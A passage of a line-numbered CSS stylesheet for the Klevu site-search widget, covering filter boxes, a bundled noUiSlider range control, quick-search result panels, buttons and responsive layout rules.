4008 display: inline-block; 4009 padding: 4px; 4010 position: absolute; 4011 right: 12px; 4012 top: 14px; 4013 -webkit-transform: rotate(-135deg); 4014 -moz-transform: rotate(-135deg); 4015 -o-transform: rotate(-135deg); 4016 -ms-transform: rotate(-135deg); 4017 transform: rotate(-135deg); 4018 transition: all .3s ease 4019 } 4020 4021 .kuFilterBox .kuFilterHead.kuExpand::after { 4022 -moz-border-bottom-colors: none; 4023 -moz-border-left-colors: none; 4024 -moz-border-right-colors: none; 4025 -moz-border-top-colors: none; 4026 border-color: #333; 4027 border-image: none; 4028 border-style: solid; 4029 border-width: 0 1px 1px 0; 4030 content: ""; 4031 display: inline-block; 4032 padding: 4px; 4033 position: absolute; 4034 right: 12px; 4035 top: 10px; 4036 -webkit-transform: rotate(45deg); 4037 -moz-transform: rotate(45deg); 4038 -o-transform: rotate(45deg); 4039 -ms-transform: rotate(45deg); 4040 transform: rotate(45deg); 4041 transition: all .3s ease 0s 4042 } 4043 4044 .kuFilterBox.kuMulticheck .kuFilterIcon:before { 4045 content: ""; 4046 border: 1px solid #ccc; 4047 border-radius: 0 4048 } 4049 4050 .kuFilterBox.kuMulticheck .kuFilterNames ul li a:hover span.kuFilterIcon:after { 4051 width: 10px; 4052 height: 5px; 4053 background: transparent; 4054 top: 4px; 4055 left: 4px; 4056 border: 2px solid #ddd; 4057 border-top: 0; 4058 border-right: 0; 4059 border-radius: 0 4060 } 4061 4062 .kuFilterBox.kuMulticheck .kuFilterNames ul li a:hover span.kuFilterIcon:before { 4063 background: #fff; 4064 border: 1px solid #333 4065 } 4066 4067 .kuFilterBox.kuMulticheck .kuFilterNames ul li.kuSelected span.kuFilterIcon:after { 4068 width: 10px; 4069 height: 5px; 4070 background: transparent; 4071 top: 4px; 4072 left: 4px;
4073 border: 2px solid #ddd; 4074 border-top: 0; 4075 border-right: 0; 4076 border-radius: 0 4077 } 4078 4079 .kuFilterBox.kuMulticheck .kuFilterNames ul li.kuSelected span.kuFilterIcon:before { 4080 background: #fff; 4081 border: 1px solid #333 4082 } 4083 4084 .kuFilterBox.kuMulticheck .kuFilterNames ul li.kuSelected:hover span.kuFilterIcon:after { 4085 border-color: #333 4086 } 4087 4088 /*! nouislider - 8.2.1 - 2015-12-02 21:43:15 */ 4089 .noUi-target, 4090 .noUi-target * { 4091 -webkit-touch-callout: none; 4092 -webkit-user-select: none; 4093 -ms-touch-action: none; 4094 touch-action: none; 4095 -ms-user-select: none; 4096 -moz-user-select: none; 4097 -moz-box-sizing: border-box; 4098 box-sizing: border-box 4099 } 4100 4101 .noUi-target { 4102 position: relative; 4103 direction: ltr 4104 } 4105 4106 .noUi-base { 4107 width: 100%; 4108 height: 100%; 4109 position: relative; 4110 z-index: 1 4111 } 4112 4113 .noUi-origin { 4114 position: absolute; 4115 right: 0; 4116 top: 0; 4117 left: 0; 4118 bottom: 0 4119 } 4120 4121 .noUi-handle { 4122 position: relative; 4123 z-index: 1 4124 } 4125 4126 .noUi-stacking .noUi-handle { 4127 z-index: 10 4128 } 4129 4130 .noUi-state-tap .noUi-origin { 4131 -webkit-transition: left .3s, top .3s; 4132 transition: left .3s, top .3s 4133 } 4134 4135 .noUi-state-drag * { 4136 cursor: inherit !important 4137 } 4138 4139 .noUi-base { 4140 -webkit-transform: translate3d(0, 0, 0); 4141 transform: translate3d(0, 0, 0) 4142 } 4143 4144 .noUi-horizontal { 4145 height: 12px 4146 } 4147 4148 .noUi-horizontal .noUi-handle { 4149 width: 24px; 4150 height: 24px; 4151 left: -17px; 4152 top: -7px; 4153 border-radius: 100% 4154 } 4155 4156 .noUi-vertical { 4157 width: 18px 4158 } 4159 4160 .noUi-vertical .noUi-handle { 4161 width: 28px; 4162 height: 34px; 4163 left: -6px; 4164 top: -17px 4165 } 4166 4167 .noUi-background { 4168 background: #fafafa; 4169 box-shadow: inset 0 1px 1px #f0f0f0 4170 } 4171 4172 .noUi-connect { 4173 background: #333; 4174 box-shadow: inset 0 0 3px rgba(51, 51, 51, 0.45); 4175 -webkit-transition: background 450ms; 4176 transition: background 450ms 4177 } 4178 4179 .noUi-origin { 4180 border-radius: 2px 4181 } 4182 4183 .noUi-target { 4184 border-radius: 4px; 4185 border: 1px solid #d3d3d3; 4186 box-shadow: inset 0 1px 1px #f0f0f0, 0 3px 6px -5px #bbb 4187 } 4188 4189 .noUi-target.noUi-connect { 4190 box-shadow: inset 0 0 3px rgba(51, 51, 51, 0.45), 0 3px 6px -5px #bbb 4191 } 4192 4193 .noUi-draggable { 4194 cursor: w-resize 4195 } 4196 4197 .noUi-vertical .noUi-draggable { 4198 cursor: n-resize 4199 } 4200 4201 .noUi-handle { 4202 border: 1px solid #d9d9d9; 4203 background: #fff; 4204 cursor: default; 4205 box-shadow: inset 0 0 1px #fff, inset 0 1px 7px #ebebeb, 0 3px 6px -3px #bbb; 4206 cursor: pointer 4207 } 4208 4209 .noUi-active { 4210 box-shadow: inset 0 0 1px #fff, inset 0 1px 7px #ddd, 0 3px 6px -3px #bbb 4211 } 4212 4213 .noUi-handle:after, 4214 .noUi-handle:before { 4215 content: ""; 4216 display: block; 4217 position: absolute; 4218 height: 14px; 4219 width: 1px; 4220 background: #e4e1e1; 4221 left: 8px; 4222 top: 4px 4223 } 4224 4225 .noUi-handle:after { 4226 left: 12px 4227 } 4228 4229 .noUi-vertical .noUi-handle:after, 4230 .noUi-vertical .noUi-handle:before { 4231 width: 14px; 4232 height: 1px; 4233 left: 6px; 4234 top: 14px 4235 } 4236 4237 .noUi-vertical .noUi-handle:after { 4238 top: 17px 4239 } 4240 4241 [disabled] .noUi-connect, 4242 [disabled].noUi-connect { 4243 background: #b8b8b8 4244 } 4245 4246 [disabled] .noUi-handle, 4247 [disabled].noUi-origin { 4248 cursor: not-allowed 4249 } 4250 4251 .noUi-pips, 4252 .noUi-pips * { 4253 -moz-box-sizing: border-box; 4254 box-sizing: border-box 4255 } 4256 4257 .noUi-pips { 4258 position: absolute; 4259 color: #999 4260 } 4261 4262 .noUi-value { 4263 width: 40px; 4264 position: absolute; 4265 text-align: center 4266 } 4267 4268 .noUi-value-sub { 4269 color: #ccc; 4270 font-size: 10px 4271 } 4272 4273 .noUi-marker { 4274 position: absolute; 4275 background: #ccc 4276 } 4277 4278 .noUi-marker-large, 4279 .noUi-marker-sub { 4280 background: #aaa 4281 } 4282 4283 .noUi-pips-horizontal { 4284 padding: 10px 0; 4285 height: 50px; 4286 top: 100%; 4287 left: 0; 4288 width: 100% 4289 } 4290 4291 .noUi-value-horizontal { 4292 margin-left: -20px; 4293 padding-top: 20px 4294 } 4295 4296 .noUi-value-horizontal.noUi-value-sub { 4297 padding-top: 15px 4298 } 4299 4300 .noUi-marker-horizontal.noUi-marker { 4301 margin-left: -1px; 4302 width: 2px; 4303 height: 5px 4304 } 4305 4306 .noUi-marker-horizontal.noUi-marker-sub { 4307 height: 10px 4308 } 4309 4310 .noUi-marker-horizontal.noUi-marker-large { 4311 height: 15px 4312 } 4313 4314 .noUi-pips-vertical { 4315 padding: 0 10px; 4316 height: 100%; 4317 top: 0; 4318 left: 100% 4319 } 4320 4321 .noUi-value-vertical { 4322 width: 15px; 4323 margin-left: 20px; 4324 margin-top: -5px 4325 } 4326 4327 .noUi-marker-vertical.noUi-marker { 4328 width: 5px; 4329 height: 2px;
4330 margin-top: -1px 4331 } 4332 4333 .noUi-marker-vertical.noUi-marker-sub { 4334 width: 10px 4335 } 4336 4337 .noUi-marker-vertical.noUi-marker-large { 4338 width: 15px 4339 } 4340 4341 .noUi-tooltip { 4342 display: block; 4343 position: absolute; 4344 border: 1px solid #d9d9d9; 4345 border-radius: 3px; 4346 background: #fff; 4347 padding: 5px; 4348 text-align: center; 4349 width: max-content 4350 } 4351 4352 .noUi-horizontal .noUi-handle-lower .noUi-tooltip { 4353 bottom: -32px 4354 } 4355 4356 .noUi-horizontal .noUi-handle-upper .noUi-tooltip { 4357 bottom: -32px; 4358 right: 0 4359 } 4360 4361 .noUi-vertical .noUi-handle-lower .noUi-tooltip { 4362 left: 120% 4363 } 4364 4365 .noUi-vertical .noUi-handle-upper .noUi-tooltip { 4366 right: 120% 4367 } 4368 4369 .klevu-fluid, 4370 .klevu-fluid *, 4371 .klevuTarget, 4372 .klevuTarget *, 4373 .kuContainer * { 4374 font-family: inherit 4375 } 4376 4377 [ku-container] a, 4378 [ku-container] p, 4379 [ku-container] div, 4380 [ku-container] ul li { 4381 font-family: inherit; 4382 font-size: 13px; 4383 line-height: 130%; 4384 text-decoration: none; 4385 font-weight: normal 4386 } 4387 4388 [ku-container] * { 4389 -webkit-box-sizing: border-box; 4390 -moz-box-sizing: border-box; 4391 box-sizing: border-box; 4392 outline: 0; 4393 -webkit-font-smoothing: antialiased; 4394 vertical-align: top 4395 } 4396 4397 .kuClearLeft { 4398 clear: left 4399 } 4400 4401 .kuClearRight { 4402 clear: right 4403 } 4404 4405 .kuClearBoth, 4406 .kuClearBoth:after { 4407 clear: both 4408 } 4409 4410 .kuGreen { 4411 color: #009b46 !important 4412 } 4413 4414 .kuBlack { 4415 color: #333 !important 4416 } 4417 4418 .kuClipped { 4419 overflow: hidden; 4420 display: -webkit-box; 4421 -webkit-box-orient: vertical 4422 } 4423 4424 .kuClippedOne { 4425 overflow: hidden; 4426 display: -webkit-box; 4427 -webkit-box-orient: vertical; 4428 -webkit-line-clamp: 1 4429 } 4430 4431 .kuClippedTwo { 4432 overflow: hidden; 4433 display: -webkit-box; 4434 -webkit-box-orient: vertical; 4435 -webkit-line-clamp: 2 4436 } 4437 4438 .klevuTarget * { 4439 box-sizing: border-box 4440 } 4441 4442 .kuBtn { 4443 display: inline-block; 4444 padding: 5px 10px; 4445 cursor: pointer; 4446 font-size: 11px !important; 4447 text-transform: uppercase; 4448 text-decoration: none; 4449 margin: 5px 5px 5px 0; 4450 border-radius: 3px; 4451 border: 2px solid transparent; 4452 text-align: center 4453 } 4454 4455 .kuBtnDark { 4456 background: #333; 4457 color: #fff; 4458 border-color: #333 4459 } 4460 4461 .kuBtnLight { 4462 background: #ddd; 4463 color: #333; 4464 border-color: #dedede 4465 } 4466 4467 .kuBtnDarkOutline { 4468 background: transparent; 4469 color: #333; 4470 border: 2px solid #333 4471 } 4472 4473 .kuBtnLightOutline { 4474 background: transparent; 4475 color: #ddd; 4476 border: 2px solid #ddd 4477 } 4478 4479 .kuBtnDark:hover, 4480 .kuBtnLight:hover, 4481 .kuBtnDarkOutline:hover, 4482 .kuBtnLightOutline:hover { 4483 background: #757575; 4484 color: #fff; 4485 border-color: #757575 4486 } 4487 4488 .klevuTarget.klevu-fluid>div { 4489 position: absolute; 4490 z-index: 20000000000; 4491 width: 35%; 4492 max-width: 450px; 4493 font-family: inherit; 4494 font-size: 13px; 4495 background-color: #fff; 4496 border-radius: 3px; 4497 color: #333 4498 } 4499 4500 .kuBase { 4501 margin: 0; 4502 padding: 0; 4503 border: 0; 4504 box-sizing: border-box; 4505 box-shadow: none; 4506 position: relative; 4507 max-width: 100% 4508 } 4509 4510 [ku-container], 4511 [ku-block] { 4512 margin: 0; 4513 padding: 0; 4514 border: 0; 4515 box-sizing: border-box; 4516 box-shadow: none; 4517 position: relative; 4518 max-width: 100% 4519 } 4520 4521 [ku-container][data-container-role="main"] { 4522 margin: 0; 4523 padding: 0; 4524 border: 0; 4525 box-sizing: border-box; 4526 box-shadow: none; 4527 position: relative; 4528 max-width: 100%; 4529 width: 1200px; 4530 margin: 0 auto 4531 } 4532 4533 [ku-container][data-container-role="header"] { 4534 margin: 0; 4535 padding: 0; 4536 border: 0; 4537 box-sizing: border-box; 4538 box-shadow: none; 4539 position: relative; 4540 max-width: 100% 4541 } 4542 4543 [ku-container][data-container-role="header"] [ku-block][data-container-role="subPanel"] { 4544 margin: 0; 4545 padding: 0; 4546 border: 0; 4547 box-sizing: border-box; 4548 box-shadow: none; 4549 position: relative; 4550 max-width: 100% 4551 } 4552 4553 [ku-container][data-container-role="header"] [ku-block][data-container-role="banner"] { 4554 margin: 0; 4555 padding: 0; 4556 border: 0; 4557 box-sizing: border-box; 4558 box-shadow: none; 4559 position: relative; 4560 max-width: 100% 4561 } 4562 4563 [ku-container][data-container-role="header"] [ku-block][data-container-role="navigation"] { 4564 margin: 0; 4565 padding: 0; 4566 border: 0; 4567 box-sizing: border-box; 4568 box-shadow: none; 4569 position: relative; 4570 max-width: 100% 4571 } 4572 4573 .kuResultContent { 4574 margin: 0; 4575 padding: 0; 4576 border: 0; 4577 box-sizing: border-box; 4578 box-shadow: none; 4579 position: relative; 4580 max-width: 100% 4581 } 4582 4583 .kuResultContent [ku-container]:empty { 4584 display: none !important; 4585 width: 0 !important; 4586 padding: 0; 4587 margin: 0; 4588 overflow: hidden 4589 } 4590 4591 [ku-container][data-container-role="content"] { 4592 margin: 0; 4593 padding: 0; 4594 border: 0; 4595 box-sizing: border-box; 4596 box-shadow: none; 4597 position: relative; 4598 max-width: 100%; 4599 display: table; 4600 width: 100% 4601 } 4602 4603 [ku-container][data-container-role="content"] [ku-block]:empty { 4604 display: none !important; 4605 width: 0 !important; 4606 padding: 0; 4607 margin: 0; 4608 overflow: hidden 4609 } 4610 4611 [ku-block][ku-empty], 4612 [ku-container][ku-empty] { 4613 display: none !important; 4614 width: 0 !important; 4615 padding: 0 !important; 4616 height: 0 !important; 4617 margin: 0 !important; 4618 overflow: hidden !important 4619 } 4620 4621 .klevuQuickSearchingArea { 4622 width: 100%; 4623 max-width: 100%; 4624 border-radius: 2px; 4625 -webkit-box-shadow: 0 1px 5px rgba(50, 50, 50, 0.4); 4626 -moz-box-shadow: 0 1px 5px rgba(50, 50, 50, 0.4); 4627 box-shadow: 0 1px 5px rgba(50, 50, 50, 0.4) 4628 } 4629 4630 .klevuQuickSearchingArea .klevuLoader img { 4631 display: inline-block; 4632 width: 22px !important 4633 } 4634 4635 .klevuQuickSearchingArea span.klevuLoader img { 4636 margin-right: 10px 4637 } 4638 4639 .klevuQuickSearchingArea .kuFacetedLayoutMinCharText { 4640 padding: 10px; 4641 line-height: 35px 4642 } 4643 4644 .klevuSuggestionsBlock { 4645 position: relative 4646 } 4647 4648 .klevuSuggestionsBlock .klevuLoader { 4649 position: absolute; 4650 top: 0; 4651 right: 0; 4652 display: inline-block; 4653 padding: 6px 10px 4654 } 4655 4656 .klevuSuggestionHeading { 4657 text-transform: uppercase; 4658 padding: 10px 5px 4659 } 4660 4661 .klevuHeadingText { 4662 color: #333; 4663 display: inline-block 4664 } 4665 4666 .klevuHeadingText a { 4667 float: right; 4668 margin-right: 10px; 4669 color: #333; 4670 font-weight: normal; 4671 text-decoration: none 4672 } 4673 4674 .klevuHeadingText a:hover { 4675 text-decoration: underline 4676 } 4677 4678 .klevuAutoSuggestionsWrap { 4679 border-bottom: 1px solid #ddd; 4680 padding: 5px 10px 4681 } 4682 4683 .klevuAutoSuggestionsWrap ul { 4684 margin: 0; 4685 padding: 0; 4686 text-align: left 4687 } 4688 4689 .klevuAutoSuggestionsWrap ul li { 4690 display: block; 4691 list-style: none; 4692 margin: 0; 4693 cursor: default; 4694 text-align: left 4695 } 4696 4697 .klevuAutoSuggestionsWrap ul li a { 4698 display: block; 4699 padding: 5px; 4700 line-height: 14px; 4701 color: #333; 4702 text-decoration: none; 4703 font-size: 13px 4704 } 4705 4706 .klevuAutoSuggestionsWrap ul li:hover { 4707 background-color: #f5f5f5 4708 } 4709 4710 .klevuAutoSuggestionsWrap ul li:focus { 4711 background-color: #f5f5f5 4712 } 4713 4714 .klevuAutoSuggestionsWrap ul li ul li a { 4715 padding-left: 35px 4716 } 4717 4718 .klevuAutoSuggestionsWrap ul li strong { 4719 color: #333 4720 } 4721 4722 .klevuAutoSuggestionsWrap ul li.klevu-hovered { 4723 background-color: #f5f5f5 4724 } 4725 4726 .klevuResultsBlock .klevuSuggestionHeading { 4727 padding: 12px 15px 4728 } 4729 4730 .klevuResultsBlock .klevuProductsViewAll { 4731 display: inline-block; 4732 position: absolute; 4733 top: 12px; 4734 right: 12px 4735 } 4736 4737 .klevuResultsBlock .klevuProductsViewAll a { 4738 color: #333; 4739 font-weight: normal; 4740 text-decoration: none; 4741 text-transform: uppercase; 4742 font-size: 10px; 4743 cursor: pointer; 4744 border-bottom: 2px solid #ccc; 4745 padding: 2px 0 4746 } 4747 4748 .klevuResultsBlock .klevuQuickSearchResults { 4749 position: relative; 4750 margin: 0; 4751 padding: 0; 4752 box-sizing: border-box 4753 } 4754 4755 .klevuResultsBlock .klevuQuickSearchResults ul { 4756 margin: 0; 4757 padding-left: 0; 4758 text-align: left 4759 } 4760 4761 .klevuResultsBlock .klevuQuickSearchResults ul li { 4762 display: block; 4763 width: 100%; 4764 height: auto; 4765 text-align: left; 4766 position: relative; 4767 border-bottom: 1px solid #ddd; 4768 margin-bottom: auto 4769 } 4770 4771 .klevuResultsBlock .klevuQuickSearchResults ul li a.klevuQuickProductInnerBlock { 4772 text-decoration: none; 4773 color: #333; 4774 outline: 0; 4775 display: block; 4776 padding: 8px; 4777 height: auto; 4778 line-height: 20px 4779 } 4780 4781 .klevuResultsBlock .klevuQuickSearchResults ul li .klevuQuickProductDescBlock { 4782 float: left; 4783 width: 100%; 4784 margin-left: 8px 4785 } 4786 4787 .klevuResultsBlock .klevuQuickSearchResults ul li .klevuQuickProductName { 4788 font-weight: bold; 4789 color: #333; 4790 word-wrap: break-word 4791 } 4792 4793 .klevuResultsBlock .klevuQuickSearchResults ul li .klevuQuickPriceGreyText { 4794 font-weight: normal !important; 4795 color: #393939 !important; 4796 font-size: 11px !important 4797 } 4798 4799 .klevuResultsBlock .klevuQuickSearchResults ul li .klevuQuickProductDesc { 4800 color: #333 4801 } 4802 4803 .klevuResultsBlock .klevuQuickSearchResults ul li .klevuQuickSalePrice { 4804 font-weight: bold; 4805 margin-bottom: 5px; 4806 color: #333 4807 } 4808 4809 .klevuResultsBlock .klevuQuickSearchResults ul li .klevuQuickOrigPrice { 4810 margin-right: 5px; 4811 text-decoration: line-through; 4812 color: #333 4813 } 4814 4815 .klevuResultsBlock .klevuQuickSearchResults ul li:hover { 4816 background-color: #f5f5f5 4817 } 4818 4819 .klevuResultsBlock .klevuQuickSearchResults ul li:hover .klevuQuickSearchResults ul li div { 4820 color: #fff !important 4821 } 4822 4823 .klevuResultsBlock .klevuQuickSearchResults ul li:focus { 4824 background-color: #f5f5f5 4825 } 4826 4827 .klevuResultsBlock .klevuQuickSearchResults ul li:focus .klevuQuickSearchResults ul li div { 4828 color: #fff !important 4829 } 4830 4831 .klevuResultsBlock .klevuQuickSearchResults .klevuProductItemTop { 4832 margin: 0; 4833 box-sizing: border-box; 4834 float: left; 4835 padding: 5px; 4836 position: relative; 4837 width: 20% 4838 } 4839 4840 .klevuResultsBlock .klevuQuickSearchResults .klevuProductItemBottom { 4841 margin: 0; 4842 box-sizing: border-box; 4843 padding: 5px; 4844 position: relative; 4845 min-height: 60px; 4846 float: left; 4847 width: 80% 4848 } 4849 4850 .klevuResultsBlock .klevuQuickSearchResults .klevuProductItemBottom .klevu-desc-l2 { 4851 color: #8a8a8a; 4852 font-size: 13px 4853 } 4854 4855 .klevuResultsBlock .klevuQuickSearchResults .klevuQuickImgWrap { 4856 float: none; 4857 overflow: hidden; 4858 width: 100% !important; 4859 height: 70px !important; 4860 text-align: center 4861 } 4862 4863 .klevuResultsBlock .klevuQuickSearchResults img { 4864 max-width: 100% !important; 4865 max-height: 100% !important; 4866 width: auto; 4867 height: auto; 4868 border: 0; 4869 outline: 0; 4870 display: inline-block; 4871 margin: 0 auto; 4872 opacity: 1 4873 } 4874 4875 .klevuResultsBlock .klevuQuickSearchResults .klevuQuickDiscountBadge { 4876 background: #ffcc01; 4877 padding: 0 5px; 4878 color: #333; 4879 font-size: 9px; 4880 position: absolute; 4881 top: 6px; 4882 left: 4px 4883 } 4884 4885 .klevuResultsBlock .klevuQuickSearchResults .klevuQuickDiscountBadge strong { 4886 color: #333 4887 } 4888 4889 .klevuResultsBlock .klevuQuickNoResults { 4890 text-align: center; 4891 font-size: 13px; 4892 padding: 0 4893 } 4894 4895 .klevuResultsBlock .klevuQuickNoResults .klevuQuickNoResultsInner { 4896 padding: 15px; 4897 margin: 0 4898 } 4899 4900 .klevuResultsBlock .klevuQuickNoResultsMessage { 4901 background: transparent; 4902 font-size: 13px; 4903 padding: 20px; 4904 text-align: center; 4905 border: 0 4906 } 4907 4908 @media only screen and (max-width:1024px) { 4909 .klevuTarget.klevu-fluid>div { 4910 width: 50% 4911 } 4912 4913 .klevuQuickSearchResults .klevuQuickImgWrap { 4914 height: 55px !important 4915 } 4916 } 4917 4918 @media only screen and (max-width:767px) { 4919 .klevuTarget.klevu-fluid>div { 4920 max-width: 400px; 4921 width: 70% 4922 } 4923 } 4924 4925 @media only screen and (max-width:480px) { 4926 .klevuTarget.klevu-fluid>div { 4927 width: 98%; 4928 left: 1% !important 4929 } 4930 4931 .klevu-fluid .klevuQuickSearchResults ul li .klevuQuickProductDesc { 4932 display: none 4933 } 4934 } 4935 4936 @media only screen and (max-width:420px) { 4937 .klevuTarget.klevu-fluid>div { 4938 max-width: 100% 4939 } 4940 } 4941 4942 .searchRequestLoading .klevuQuickSearchingArea { 4943 opacity: .6; 4944 pointer-events: none 4945 } 4946 4947 .searchRequestLoading .klevuQuickSearchingArea::after { 4948 content: url("https://js.klevu.com/klevu-js-v1/img/klevu-loader.GIF"); 4949 position: absolute; 4950 margin-left: 45%; 4951 top: 12px 4952 } 4953 4954 .kuEmptySearchBox.klevuTarget.kuQuickSearchResultsContainer [ku-container][data-container-role="left"] { 4955 width: 100%; 4956 max-width: 100% 4957 } 4958 4959 .kuEmptySearchBox.klevuTarget.kuQuickSearchResultsContainer .kuPopularSearchesBlock { 4960 margin-bottom: 8px 4961 } 4962 4963 .kuEmptySearchBox.klevuTarget.kuQuickSearchResultsContainer .kuRecentSearchesBlock { 4964 margin-bottom: 8px 4965 } 4966 4967 .kuRecommendationSlider { 4968 display: none 4969 } 4970 4971 .kuRecommendationSlider .klevuProductItemTop .klevuQuickImgWrap { 4972 float: none; 4973 overflow: hidden; 4974 width: 100% !important; 4975 height: 155px !important; 4976 text-align: center; 4977 margin: 0 auto; 4978 position: relative; 4979 box-sizing: border-box; 4980 padding: 0; 4981 border: 1px solid #eee; 4982 max-height: 155px !important 4983 } 4984 4985 .kuEmptySearchBox.kuPersonalizedSearchRecsEnabled .kuRecommendationSlider { 4986 display: block 4987 } 4988 4989 .kuSearchPersonalizationsContainer { 4990 height: 40px 4991 } 4992 4993 .kuSearchPersonalizationsContainer * { 4994 visibility: hidden 4995 } 4996 4997 .kuEmptySearchBox .kuSearchPersonalizationsContainer { 4998 height: auto 4999 } 5000 5001 .kuEmptySearchBox .kuSearchPersonalizationsContainer * { 5002 visibility: unset 5003 } 5004 5005 .kuEmptySearchBox.klevuTarget.kuPersonalizedSearchRecsEnabled .klevuQuickSearchingArea { 5006 padding: 6px 9px 5007 } 5008 5009 .kuEmptySearchBox.klevuTarget.kuPersonalizedSearchRecsEnabled .klevuProductItemTop { 5010 width: 100%; 5011 display: block; 5012 float: none 5013 } 5014 5015 .kuEmptySearchBox.klevuTarget.kuPersonalizedSearchRecsEnabled .klevuProductItemBottom { 5016 width: 100%; 5017 display: block; 5018 float: none 5019 } 5020 5021 .kuEmptySearchBox.klevuTarget.kuPersonalizedSearchRecsEnabled .klevuResultsBlock .klevuSuggestionHeading { 5022 padding: 10px 3px 5023 } 5024 5025 .kuEmptySearchBox.klevuTarget.kuPersonalizedSearchRecsEnabled .klevuResultsBlock .klevuProductItemBottom { 5026 font-size: 12px; 5027 color: #666 5028 } 5029 5030 .kuEmptySearchBox.klevuTarget.kuPersonalizedSearchRecsEnabled .kuRecentSearchTerms { 5031 border: 0 5032 } 5033 5034 .kuEmptySearchBox.klevuTarget.kuPersonalizedSearchRecsEnabled .kuPopularSearchTerms { 5035 b
5035order: 0 5036 } 5037 5038 @media only screen and (max-width:767px) { 5039 .kuEmptySearchBox.klevuTarget.kuQuickSearchResultsContainer.kuPersonalizedSearchRecsEnabled [ku-container][data-container-role="left"] { 5040 width: 100%; 5041 padding-right: 0 5042 } 5043 5044 .kuEmptySearchBox.klevuTarget.kuQuickSearchResultsContainer.kuPersonalizedSearchRecsEnabled [ku-container][data-container-role="right"] { 5045 width: 100%; 5046 padding-right: 0 5047 } 5048 5049 .kuEmptySearchBox.klevuTarget.kuQuickSearchResultsContainer.kuPersonalizedSearchRecsEnabled>div { 5050 max-width: 85% 5051 } 5052 } 5053 5054 .klevuTarget.klevu-fluid.kuEmptySearchBox>div { 5055 min-width: 38% !important 5056 } 5057 5058 .kuDropdown.kuQuickFacetedLayoutSort { 5059 display: inline-block; 5060 float: right; 5061 min-width: 75px; 5062 padding-top: 10px; 5063 text-align: center 5064 } 5065 5066 .klevuResultsBlock .klevuQuickSearchResults ul:before { 5067 content: ''; 5068 width: 100%; 5069 display: block; 5070 height: 0; 5071 background: 0 5072 } 5073 5074 .kuQuickSearchResultsContainer .kuResultsHeadingTitleContainer { 5075 padding: 8px 10px; 5076 border-bottom: 1px solid #eee 5077 } 5078 5079 .klevu-banner-ad { 5080 clear: both; 5081 text-align: center; 5082 width: 100%; 5083 padding: 8px; 5084 -webkit-box-sizing: border-box; 5085 -moz-box-sizing: border-box; 5086 box-sizing: border-box 5087 } 5088 5089 .klevu-banner-ad img { 5090 display: inline-block; 5091 width: auto; 5092 max-width: 100%; 5093 max-height: 100% 5094 } 5095 5096 .kuPopularSearchTerms ul { 5097 margin: 0; 5098 padding: 0; 5099 text-align: left 5100 } 5101 5102 .kuPopularSearchTerms li { 5103 display: block; 5104 list-style: none; 5105 margin: 0; 5106 text-transform: capitalize; 5107 cursor: default; 5108 text-align: left 5109 } 5110 5111 .kuPopularSearchTerms li a { 5112 display: block; 5113 padding: 5px; 5114 line-height: 14px; 5115 color: #333; 5116 text-decoration: none; 5117 font-size: 13px 5118 } 5119 5120 .kuPopularSearchTerms li:hover { 5121 background-color: #f5f5f5 5122 } 5123 5124 .kuRecentSearchTerms ul { 5125 margin: 0; 5126 padding: 0; 5127 text-align: left 5128 } 5129 5130 .kuRecentSearchTerms li { 5131 display: block; 5132 list-style: none; 5133 margin: 0; 5134 text-transform: capitalize; 5135 cursor: default; 5136 text-align: left 5137 } 5138 5139 .kuRecentSearchTerms li a { 5140 display: block; 5141 padding: 5px; 5142 line-height: 14px; 5143 color: #333; 5144 text-decoration: none; 5145 font-size: 13px 5146 } 5147 5148 .kuRecentSearchTerms li:hover { 5149 background-color: #f5f5f5 5150 } 5151 5152 .kuQuickSearchNoRecordFound { 5153 text-align: center; 5154 margin-top: 4%; 5155 margin-bottom: 4%; 5156 color: #333; 5157 font-size: 13px; 5158 background: #FFF; 5159 display: block 5160 } 5161 5162 .kuQuickSearchNoRecordFound .klevuQuickPriceGreyText { 5163 font-weight: normal !important; 5164 color: #393939 !important; 5165 font-size: 11px !important 5166 } 5167 5168 .kuQuickSearchNoRecordFound .kuQuickNoResults { 5169 max-width: 90%; 5170 margin: auto; 5171 text-align: justify 5172 } 5173 5174 .kuQuickSearchNoRecordFound .kuQuickNoResultsMessage { 5175 display: block; 5176 text-align: center; 5177 line-height: 14px; 5178 color: #333; 5179 text-decoration: none; 5180 font-size: 13px 5181 } 5182 5183 .kuQuickSearchNoRecordFound .kuDividerLine { 5184 margin: 10px 0; 5185 border-bottom: #ccc 1px solid; 5186 width: 100% 5187 } 5188 5189 .kuQuickSearchNoRecordFound .klevu-no-results-banner-ad-quick { 5190 clear: both; 5191 text-align: center; 5192 width: 100%; 5193 padding: 8px; 5194 -webkit-box-sizing: border-box; 5195 -moz-box-sizing: border-box; 5196 box-sizing: border-box 5197 } 5198 5199 .kuQuickSearchNoRecordFound .klevu-no-results-banner-ad-quick img { 5200 display: inline-block; 5201 width: auto; 5202 max-width: 100%; 5203 max-height: 100% 5204 } 5205 5206 .kuQuickSearchNoRecordFound .klevuNoResultsProductsBlock .klevuPopularProductsViewAll { 5207 display: inline-block; 5208 position: absolute; 5209 top: 12px; 5210 right: 12px 5211 } 5212 5213 .kuQuickSearchNoRecordFound .kuNoResultsPopularSearchHeading { 5214 text-transform: uppercase; 5215 padding-bottom: 10px; 5216 text-align: left 5217 } 5218 5219 .kuQuickSearchNoRecordFound .klevuNoResultsProductsBlock .klevuPopularProductsViewAll a { 5220 color: #333; 5221 font-weight: normal; 5222 text-decoration: none; 5223 text-transform: uppercase; 5224 font-size: 10px; 5225 cursor: pointer; 5226 border-bottom: 2px solid #CCC; 5227 padding: 2px 0 5228 } 5229 5230 .kuQuickSearchNoRecordFound .klevuNoResultsProductsBlock .klevuQuickSearchNoResultsPopular { 5231 position: relative; 5232 margin: 0; 5233 padding: 0; 5234 box-sizing: border-box 5235 } 5236 5237 .kuQuickSearchNoRecordFound .klevuNoResultsProductsBlock .klevuQuickSearchNoResultsPopular ul { 5238 margin: 0; 5239 padding-left: 0; 5240 text-align: left 5241 } 5242 5243 .kuQuickSearchNoRecordFound .klevuNoResultsProductsBlock .klevuQuickSearchNoResultsPopular ul li { 5244 display: block; 5245 width: 100%; 5246 height: auto; 5247 text-align: left; 5248 position: relative; 5249 border-bottom: 1px solid #ddd 5250 } 5251 5252 .kuQuickSearchNoRecordFound .klevuNoResultsProductsBlock .klevuQuickSearchNoResultsPopular ul li a.klevuQuickPopularProductInnerBlock { 5253 text-decoration: none; 5254 color: #333; 5255 outline: 0; 5256 display: block; 5257 padding: 8px; 5258 height: auto; 5259 line-height: 20px 5260 } 5261 5262 .kuQuickSearchNoRecordFound .klevuNoResultsProductsBlock .klevuQuickSearchNoResultsPopular ul li .klevuQuickPopularProductDescBlock { 5263 